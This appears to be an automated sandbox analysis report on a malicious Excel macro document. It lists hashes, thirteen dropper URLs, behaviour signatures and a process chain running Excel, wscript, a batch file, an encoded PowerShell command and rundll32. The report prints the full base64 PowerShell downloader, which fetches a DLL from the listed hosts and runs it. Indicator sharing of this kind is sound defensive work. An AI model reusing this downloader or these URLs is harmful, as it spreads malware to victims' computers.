Analysis

  • max time kernel
    118s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    20/11/2024, 23:53

General

  • Target

    077782b6f094679f07c7d75532c4ade80b393aaecc21a9e99ce9db2a2a2363da.xls

  • Size

    138KB

  • MD5

    240e23646f7eea10d96c6d094abae48a

  • SHA1

    8f163824581c9e8eca26aa43708816b1db7b0c3b

  • SHA256

    077782b6f094679f07c7d75532c4ade80b393aaecc21a9e99ce9db2a2a2363da

  • SHA512

    aace2d47cba74b058506cad53fe38cef310bed91c24e98f8581b07101c73af452a07b2499b595135f855e899af6e0604b2e8a4efcf88b526f73dbb05305443ae

  • SSDEEP

    3072:uKehv7q2Pjx45uoDGTj+5xtekEvi8/dgwa3Wm47CdX5gVvhoxzYLasdJXIchFL:lehv7q2Pjx45uoDGTj+5xtFEvi8/dgwh

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://midnightsilvercrafters.com/store/wBjNOUw/

exe.dropper

http://tempral.com/NATE_05_22_2009/BI710N4cQ6R3/

exe.dropper

https://redington.karmatechmediaworks.com/wp-content/3JVuVx7QUM/

exe.dropper

https://uhc.karmatechmediaworks.com/wp-content/0EqfdeznntlOpaIP2Qv/

exe.dropper

https://servilogic.net/b/14hqrdyP0Z3WsbQib8/

exe.dropper

https://comezmuhendislik.com/ljfrmm/VTpHRFWoORAHnRQ3aQL/

exe.dropper

http://webmail.glemedical.com/wp-content/J1M2xxodH/

exe.dropper

http://toto.karmatechmediaworks.com/wp-content/i826vbcVgRJ/

exe.dropper

https://golfpia.karmatechmediaworks.com/wp-content/oEicpDnEkk/

exe.dropper

https://fortiuspharma.com/y6krss/EGm347cqj5/

exe.dropper

https://garyjharris.com/cgi-bin/0hH/

exe.dropper

https://vietnam.karmatechmediaworks.com/wp-content/PfSVQagusZy7AaMw/

exe.dropper

https://vinculinc.karmatechmediaworks.com/wp-content/VlcOPPwgidWlXDJNs6/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\077782b6f094679f07c7d75532c4ade80b393aaecc21a9e99ce9db2a2a2363da.xls
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2368
    • C:\Windows\SysWOW64\wscript.exe
      wscript c:\programdata\oue4hjld.vbs
      2⤵
      • Process spawned unexpected child process
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2696
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ""C:\programdata\bhnasleil.bat" "
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1376
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -enc JABNAEoAWABkAGYAcwBoAEQAcgBmAEcAWgBzAGUAcwA0AD0AIgBoAHQAdABwADoALwAvAG0AaQBkAG4AaQBnAGgAdABzAGkAbAB2AGUAcgBjAHIAYQBmAHQAZQByAHMALgBjAG8AbQAvAHMAdABvAHIAZQAvAHcAQgBqAE4ATwBVAHcALwAsAGgAdAB0AHAAOgAvAC8AdABlAG0AcAByAGEAbAAuAGMAbwBtAC8ATgBBAFQARQBfADAANQBfADIAMgBfADIAMAAwADkALwBCAEkANwAxADAATgA0AGMAUQA2AFIAMwAvACwAaAB0AHQAcABzADoALwAvAHIAZQBkAGkAbgBnAHQAbwBuAC4AawBhAHIAbQBhAHQAZQBjAGgAbQBlAGQAaQBhAHcAbwByAGsAcwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvADMASgBWAHUAVgB4ADcAUQBVAE0ALwAsAGgAdAB0AHAAcwA6AC8ALwB1AGgAYwAuAGsAYQByAG0AYQB0AGUAYwBoAG0AZQBkAGkAYQB3AG8AcgBrAHMALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwAwAEUAcQBmAGQAZQB6AG4AbgB0AGwATwBwAGEASQBQADIAUQB2AC8ALABoAHQAdABwAHMAOgAvAC8AcwBlAHIAdgBpAGwAbwBnAGkAYwAuAG4AZQB0AC8AYgAvADEANABoAHEAcgBkAHkAUAAwAFoAMwBXAHMAYgBRAGkAYgA4AC8ALABoAHQAdABwAHMAOgAvAC8AYwBvAG0AZQB6AG0AdQBoAGUAbgBkAGkAcwBsAGkAawAuAGMAbwBtAC8AbABqAGYAcgBtAG0ALwBWAFQAcABIAFIARgBXAG8ATwBSAEEASABuAFIAUQAzAGEAUQBMAC8ALABoAHQAdABwADoALwAvAHcAZQBiAG0AYQBpAGwALgBnAGwAZQBtAGUAZABpAGMAYQBsAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ASgAxAE0AMgB4AHgAbwBkAEgALwAsAGgAdAB0AHAAOgAvAC8AdABvAHQAbwAuAGsAYQByAG0AYQB0AGUAYwBoAG0AZQBkAGkAYQB3AG8AcgBrAHMALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBpADgAMgA2AHYAYgBjAFYAZwBSAEoALwAsAGgAdAB0AHAAcwA6AC8ALwBnAG8AbABmAHAAaQBhAC4AawBhAHIAbQBhAHQAZQBjAGgAbQBlAGQAaQBhAHcAbwByAGsAcwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAG8ARQBpAGMAcABEAG4ARQBrAGsALwAsAGgAdAB0AHAAcwA6AC8ALwBmAG8AcgB0AGkAdQBzAHAAaABhAHIAbQBhAC4AYwBvAG0ALwB5ADYAawByAHMAcwAvAEUARwBtADMANAA3AGMAcQBqADUALwAsAGgAdAB0AHAAcwA6AC8ALwBnAGEAcgB5AGoAaABhAHIAcgBpAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwAwAGgASAAvACwAaAB0AHQAcABzADoALwAvAHYAaQBlAHQAbgBhAG0ALgBrAGEAcgBtAGEAdABlAGMAaABtAGUAZABpAGEAdwBvAHIAawBzAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AUABmAFMAVgBRAGEAZwB1AHMAWgB5ADcAQQBhAE0AdwAvACwAaAB0AHQAcABzADoALwAvAHYAaQBuAGMAdQBsAGkAbgBjAC4AawBhAHIAbQBhAHQAZQBjAGgAbQBlAGQAaQBhAHcAbwByAGsAcwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAFYAbABjAE8AUABQAHcAZwBpAGQAVwBsAFgARABKAE4AcwA2AC8AIgAuAHMAUABMAEkAdAAoACIALAAiACkAOwAgAGYAbwBSAGUAQQBDAGgAKAAkAHkASQBkAHMAUgBoAHkAZQAzADQAcwB5AHUAZgBnAHgAagBjAGQAZgAgAGkATgAgACQATQBKAFgAZABmAHMAaABEAHIAZgBHAFoAcwBlAHMANAApAHsAJABHAHcAZQBZAEgANQA3AHMAZQBkAHMAdwBkAD0AKAAiAGMAaQB1AHcAZAA6AGkAdQB3AGQAXABwAHIAaQB1AHcAZABvAGcAaQB1AHcAZAByAGEAbQBpAHUAdwBkAGQAYQB0AGkAdQB3AGQAYQBcAHYAeABjAGoAawBmAGgAZAAuAGQAaQB1AHcAZABsAGkAdQB3AGQAbAAiACkALgByAGUAUABsAEEAQwBlACgAIgBpAHUAdwBkACIALAAiACIAKQA7AGkAbgBWAE8AawBlAC0AdwBlAEIAcgBFAHEAVQBlAHMAVAAgAC0AdQBSAEkAIAAkAHkASQBkAHMAUgBoAHkAZQAzADQAcwB5AHUAZgBnAHgAagBjAGQAZgAgAC0AbwBVAHQARgBJAGwAZQAgACQARwB3AGUAWQBIADUANwBzAGUAZABzAHcAZAA7AGkARgAoAHQAZQBTAHQALQBwAEEAVABoACAAJABHAHcAZQBZAEgANQA3AHMAZQBkAHMAdwBkACkAewBpAGYAKAAoAGcARQB0AC0AaQB0AEUAbQAgACQARwB3AGUAWQBIADUANwBzAGUAZABzAHcAZAApAC4AbABlAE4ARwB0AGgAIAAtAGcAZQAgADQANwA0ADMANgApAHsAYgBSAGUAYQBrADsAfQB9AH0A
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:972
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\rundll32.exe c:\programdata\vxcjkfhd.dll,ganw4ls
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1148
        • \??\c:\windows\syswow64\rundll32.exe
          c:\windows\syswow64\rundll32.exe c:\programdata\vxcjkfhd.dll,ganw4ls
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1700

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\programdata\bhnasleil.bat

          Filesize

          3KB

          MD5

          0f96848827a2960f874bcf613ce1e72c

          SHA1

          d936a765910adaf627fc6459716847fd87595ea2

          SHA256

          9e9915a1e009b7a9283629e5a1a66604915030b445c1f266914955299563473e

          SHA512

          00f04d42d544c0564ca4d435fbc0803ebcd8eabaa45abc852b449beffb4f3701681b8c908f580640e71686255c83aa698f10ea75a51dd0bf76c177132e86b862

        • \??\c:\programdata\oue4hjld.vbs

          Filesize

          604B

          MD5

          a0e5c8b0ad3da42bf6952871a41bf5e8

          SHA1

          cd2106ebaf43d596057457e87cf4c8482e246005

          SHA256

          5c3d66e2d33dfb51c691010af5d0a87250aa475235b537a336c607ade93a881a

          SHA512

          c685cc80c128087b6711ab65c7a0f2c63f55dfbab8577aea20d668112f77a0e69e7e350ff314201e93b8ef79f72764c79fc20e903c1a1f973e37ae3a873ff725

        • memory/2368-6-0x00000000004F0000-0x00000000005F0000-memory.dmp

          Filesize

          1024KB

        • memory/2368-56-0x00000000065B0000-0x00000000066B0000-memory.dmp

          Filesize

          1024KB

        • memory/2368-9-0x00000000004F0000-0x00000000005F0000-memory.dmp

          Filesize

          1024KB

        • memory/2368-8-0x00000000004F0000-0x00000000005F0000-memory.dmp

          Filesize

          1024KB

        • memory/2368-7-0x00000000004F0000-0x00000000005F0000-memory.dmp

          Filesize

          1024KB

        • memory/2368-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

          Filesize

          64KB

        • memory/2368-5-0x00000000004F0000-0x00000000005F0000-memory.dmp

          Filesize

          1024KB

        • memory/2368-10-0x00000000004F0000-0x00000000005F0000-memory.dmp

          Filesize

          1024KB

        • memory/2368-97-0x00000000065B0000-0x00000000066B0000-memory.dmp

          Filesize

          1024KB

        • memory/2368-11-0x00000000004F0000-0x00000000005F0000-memory.dmp

          Filesize

          1024KB

        • memory/2368-96-0x00000000065B0000-0x00000000066B0000-memory.dmp

          Filesize

          1024KB

        • memory/2368-48-0x00000000004F0000-0x00000000005F0000-memory.dmp

          Filesize

          1024KB

        • memory/2368-3-0x0000000007380000-0x0000000007480000-memory.dmp

          Filesize

          1024KB

        • memory/2368-1-0x000000007246D000-0x0000000072478000-memory.dmp

          Filesize

          44KB

        • memory/2368-4-0x00000000004F0000-0x00000000005F0000-memory.dmp

          Filesize

          1024KB

        • memory/2368-71-0x00000000065B0000-0x00000000066B0000-memory.dmp

          Filesize

          1024KB

        • memory/2368-95-0x00000000004F0000-0x00000000005F0000-memory.dmp

          Filesize

          1024KB

        • memory/2368-70-0x00000000065B0000-0x00000000066B0000-memory.dmp

          Filesize

          1024KB

        • memory/2368-66-0x00000000065B0000-0x00000000066B0000-memory.dmp

          Filesize

          1024KB

        • memory/2368-82-0x00000000065B0000-0x00000000066B0000-memory.dmp

          Filesize

          1024KB

        • memory/2368-52-0x00000000004F0000-0x00000000005F0000-memory.dmp

          Filesize

          1024KB

        • memory/2368-53-0x00000000004F0000-0x00000000005F0000-memory.dmp

          Filesize

          1024KB

        • memory/2368-51-0x00000000004F0000-0x00000000005F0000-memory.dmp

          Filesize

          1024KB

        • memory/2368-50-0x00000000004F0000-0x00000000005F0000-memory.dmp

          Filesize

          1024KB

        • memory/2368-102-0x000000007246D000-0x0000000072478000-memory.dmp

          Filesize

          44KB

        • memory/2368-103-0x00000000004F0000-0x00000000005F0000-memory.dmp

          Filesize

          1024KB

        • memory/2368-104-0x00000000065B0000-0x00000000066B0000-memory.dmp

          Filesize

          1024KB

        • memory/2368-105-0x00000000065B0000-0x00000000066B0000-memory.dmp

          Filesize

          1024KB

        • memory/2368-106-0x00000000004F0000-0x00000000005F0000-memory.dmp

          Filesize

          1024KB